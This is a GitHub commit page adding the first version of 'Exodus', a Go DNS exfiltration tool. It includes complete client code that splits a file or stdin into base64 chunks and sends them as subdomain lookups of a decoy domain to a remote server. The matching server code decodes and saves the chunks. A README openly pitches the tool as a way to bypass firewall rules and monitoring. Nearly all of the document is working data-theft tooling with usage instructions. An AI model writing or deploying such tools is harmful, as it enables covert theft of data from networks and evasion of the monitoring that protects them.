Skip to content

Commit f819c28

Browse files
committed
Add v1
1 parent 8736bcc commit f819c28

5 files changed

Lines changed: 331 additions & 4 deletions

File tree

cmd/exodus-client/main.go

Lines changed: 111 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,116 @@
11
package main
22

3-
import "fmt"
3+
import (
4+
"bufio"
5+
"encoding/base64"
6+
"flag"
7+
"fmt"
8+
"io"
9+
"log"
10+
"os"
11+
12+
"github.com/miekg/dns"
13+
)
14+
15+
const (
16+
SubDomainSizeLimit = 63
17+
TotalDomainSizeLimit = 253
18+
)
19+
20+
var (
21+
server = flag.String("server", "", "The server where to send the \"lookups\"")
22+
serverPort = flag.String("port", "53", "Server port")
23+
target = flag.String("target", "", "The top part of the domain, payload will be sub-domain of this")
24+
verbose = flag.Bool("v", false, "Enable verbose logging")
25+
fileSource = flag.String("file", "", "Read data from file instead of default stdin")
26+
dataChunkSize = flag.Int("size", 47, "Data chunk size in bytes")
27+
token = flag.String("token", "o", "Token for identification on server side")
28+
)
29+
30+
func parseFlags() {
31+
flag.Parse()
32+
33+
if *server == "" {
34+
log.Fatal("missing server (--server)")
35+
}
36+
if *target == "" {
37+
log.Fatal("missing target domain (--target)")
38+
}
39+
}
40+
41+
func getDataSource() (io.Reader, error) {
42+
source := os.Stdin
43+
44+
if *fileSource != "" {
45+
fp, err := os.Open(*fileSource)
46+
if err != nil {
47+
return nil, fmt.Errorf("failed to open file %s, %w", *fileSource, err.Error())
48+
}
49+
50+
source = fp
51+
}
52+
53+
return source, nil
54+
}
55+
56+
func sendData(data []byte, count int) error {
57+
var (
58+
msg dns.Msg
59+
client dns.Client
60+
)
61+
62+
encodedData := base64.RawStdEncoding.EncodeToString(data)
63+
question := fmt.Sprintf("%s.%d.%s.%s.", encodedData, count, *token, *target)
64+
65+
if len(question) > TotalDomainSizeLimit || len(encodedData) > SubDomainSizeLimit {
66+
return fmt.Errorf("subdomain validates limits (%d >? %d, %d >? %d)",
67+
len(encodedData), SubDomainSizeLimit, len(question), TotalDomainSizeLimit)
68+
}
69+
70+
msg.SetQuestion(question, dns.TypeNS)
71+
72+
if *verbose {
73+
log.Printf("sending %8d %s\n", count, question)
74+
}
75+
76+
_, _, err := client.Exchange(&msg, *server+":"+*serverPort)
77+
if err != nil {
78+
return fmt.Errorf("failed exchange, %w", err)
79+
}
80+
81+
return nil
82+
}
483

584
func main() {
6-
fmt.Println("Hello, World!")
85+
parseFlags()
86+
87+
source, err := getDataSource()
88+
if err != nil {
89+
log.Fatal(err)
90+
}
91+
92+
var buffer [512]byte
93+
94+
scanner := bufio.NewReader(source)
95+
counter := 0
96+
size := *dataChunkSize
97+
98+
for {
99+
read, err := scanner.Read(buffer[:size])
100+
if read == 0 {
101+
break
102+
}
103+
if err != nil {
104+
log.Fatalf("failed read, %s", err.Error())
105+
}
106+
107+
if err := sendData(buffer[:read], counter); err != nil {
108+
log.Fatalf("failed sending data, %s", err.Error())
109+
}
110+
counter++
111+
}
112+
113+
if *verbose {
114+
log.Println("done")
115+
}
7116
}

cmd/exodus-server/main.go

Lines changed: 126 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,131 @@
11
package main
22

3-
import "fmt"
3+
import (
4+
"encoding/base64"
5+
"flag"
6+
"fmt"
7+
"io/ioutil"
8+
"log"
9+
"net"
10+
"os"
11+
"path"
12+
"strconv"
13+
"strings"
14+
15+
"golang.org/x/net/dns/dnsmessage"
16+
)
17+
18+
var (
19+
port = flag.Int("port", 53, "Port for listening")
20+
verbose = flag.Bool("v", false, "Enable verbose logging")
21+
dataDirF = flag.String("data", "", "Data directory, default is temp dir")
22+
)
23+
24+
type entry struct {
25+
token string
26+
count int
27+
data []byte
28+
}
29+
30+
func (e entry) save(dir string) error {
31+
dirPath := path.Join(dir, e.token)
32+
if err := os.MkdirAll(dirPath, 0744); err != nil {
33+
return fmt.Errorf("failed creating dir %s, %w", dirPath, err)
34+
}
35+
36+
filename := path.Join(dir, e.token, fmt.Sprintf("%08d.out", e.count))
37+
if err := ioutil.WriteFile(filename, e.data, 0644); err != nil {
38+
return fmt.Errorf("failed writing file %s, %w", filename, err)
39+
}
40+
41+
return nil
42+
}
443

544
func main() {
6-
fmt.Println("Hello, World!")
45+
flag.Parse()
46+
47+
dataDir := path.Join(os.TempDir(), "exodus")
48+
if *dataDirF != "" {
49+
dataDir = *dataDirF
50+
}
51+
52+
conn, err := net.ListenUDP("udp4", &net.UDPAddr{Port: *port})
53+
if err != nil {
54+
log.Fatalf("failed network listen, %s", err.Error())
55+
}
56+
defer conn.Close()
57+
58+
if *verbose {
59+
log.Println("started")
60+
log.Println("data dir:", dataDir)
61+
}
62+
63+
start(conn, dataDir)
64+
}
65+
66+
func extractData(msg dnsmessage.Message) (e entry, err error) {
67+
if len(msg.Questions) != 1 {
68+
return e, fmt.Errorf("dns query has no questions")
69+
}
70+
71+
domains := strings.Split(msg.Questions[0].Name.String(), ".")
72+
if len(domains) < 5 {
73+
return e, fmt.Errorf("dns question is missing requiered information")
74+
}
75+
76+
e.data, err = base64.RawStdEncoding.DecodeString(domains[0])
77+
if err != nil {
78+
return e, fmt.Errorf("failed decoding data, %w", err)
79+
}
80+
81+
e.count, _ = strconv.Atoi(domains[1])
82+
e.token = domains[2]
83+
84+
return
85+
}
86+
87+
func start(conn *net.UDPConn, dataDir string) {
88+
for {
89+
var (
90+
buffer [512]byte
91+
msg dnsmessage.Message
92+
)
93+
94+
read, addr, err := conn.ReadFromUDP(buffer[:])
95+
if err != nil {
96+
log.Printf("failed network read, %s\n", err.Error())
97+
continue
98+
}
99+
100+
if err := msg.Unpack(buffer[:read]); err != nil {
101+
log.Printf("failed message unpacking, %s\n", err.Error())
102+
continue
103+
}
104+
105+
e, err := extractData(msg)
106+
if err != nil {
107+
log.Println(err)
108+
continue
109+
}
110+
111+
if *verbose {
112+
log.Printf("received [token: %16s] [count: %8d]\n", e.token, e.count)
113+
}
114+
115+
if err := e.save(dataDir); err != nil {
116+
log.Println(err)
117+
continue
118+
}
119+
120+
msg.Header.Response = true
121+
122+
packed, err := msg.Pack()
123+
if err != nil {
124+
log.Printf("failed packing dns msg, %s\n", err.Error())
125+
}
126+
127+
if _, err := conn.WriteToUDP(packed, addr); err != nil {
128+
log.Printf("failed network write, %s\n", err.Error())
129+
}
130+
}
7131
}

docs/README.md

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1 +1,70 @@
11
# Exodus
2+
3+
DNS Exfiltration tool. By setting up a remote server listening for "DNS queries", we can bypass most firewall rules and monitoring.
4+
5+
This does not guarantee perfect stealth! A good network admin and setup will easily spot such traffic and flag it.
6+
7+
> Do not use for malicious or illegal purposes! Use at your own risk.
8+
9+
## Installing
10+
11+
### From source
12+
13+
1. Download the source code `git clone https://github.com/cpl/exodus.git`
14+
2. Run the following: `make`, this will test everything, get dependencies and build the executables
15+
3. Inside the folder `./out/`, you will see the server and client executables
16+
17+
### Releases page
18+
19+
1. Go to [Exodus Releases](https://github.com/cpl/exodus/releases) on GitHub
20+
2. Download the binaries for your systems
21+
22+
### Using go get
23+
24+
1. `go get cpl.li/go/exodus/cmd/exodus-client`
25+
2. `go get cpl.li/go/exodus/cmd/exodus-server`
26+
27+
## Usage
28+
29+
### Server
30+
31+
You can simply run it after installing it: `exodus-server`
32+
33+
This will run with the default port `53` and default data directory (tmp).
34+
35+
You can set `--port 1453` to something custom and `--data /var/exodus` to whatever you want. There is also a `-v` flag to display logging messages.
36+
37+
When the server will receive a "query" it will store it in the following structure:
38+
39+
`DATADIR/{token}/{count}.out`
40+
41+
For example sending a file in **4** chunks using the token **example** and the server configured with the default temp dir, will result in the following:
42+
43+
```text
44+
/tmp/exodus/example/00000000.out
45+
/tmp/exodus/example/00000001.out
46+
/tmp/exodus/example/00000002.out
47+
/tmp/exodus/example/00000003.out
48+
```
49+
50+
From here you could do something as simple as: `cat * > full.out` to assemble it back.
51+
52+
### Client
53+
54+
The Exodus client **needs** the following flags:
55+
56+
* `--server dns.example.com`, this will be the address where YOU installed the Exodus Server
57+
* `--target normaldomain.com`, this domain will be the "cover up", so set it to something realistic
58+
59+
Other optional flags are:
60+
61+
* `--file something.txt`, by default Exodus Client will use *stdin* as the input source
62+
* `--size 16`, this is how many bytes to send per DNS query, the default is the max
63+
* `--port 1453`, if you set the server to use something other than 53
64+
* `--token example`, use different tokens for different "uploads", this will separate them server side
65+
* `-v`, enables verbose logging
66+
67+
68+
69+
70+

go.mod

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,8 @@
11
module cpl.li/go/exodus
22

33
go 1.13
4+
5+
require (
6+
github.com/miekg/dns v1.1.26
7+
golang.org/x/net v0.0.0-20190923162816-aa69164e4478
8+
)

go.sum

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
github.com/miekg/dns v1.1.26 h1:gPxPSwALAeHJSjarOs00QjVdV9QoBvc1D2ujQUr5BzU=
2+
github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso=
3+
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
4+
golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392 h1:ACG4HJsFiNMf47Y4PeRoebLNy/2lXT9EtprMuTFWt1M=
5+
golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392/go.mod h1:/lpIB1dKB+9EgE3H3cr1v9wB50oz8l4C4h62xy7jSTY=
6+
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
7+
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
8+
golang.org/x/net v0.0.0-20190923162816-aa69164e4478 h1:l5EDrHhldLYb3ZRHDUhXF7Om7MvYXnkV9/iQNo1lX6g=
9+
golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
10+
golang.org/x/sync v0.0.0-20190423024810-112230192c58 h1:8gQV6CLnAEikrhgkHFbMAEhagSSnXWGV915qUMm9mrU=
11+
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
12+
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
13+
golang.org/x/sys v0.0.0-20190922100055-0a153f010e69/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
14+
golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe h1:6fAMxZRR6sl1Uq8U61gxU+kPTs2tR8uOySCbBP7BN/M=
15+
golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
16+
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
17+
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
18+
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
19+
golang.org/x/tools v0.0.0-20190907020128-2ca718005c18/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
20+
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=

0 commit comments

Comments
 (0)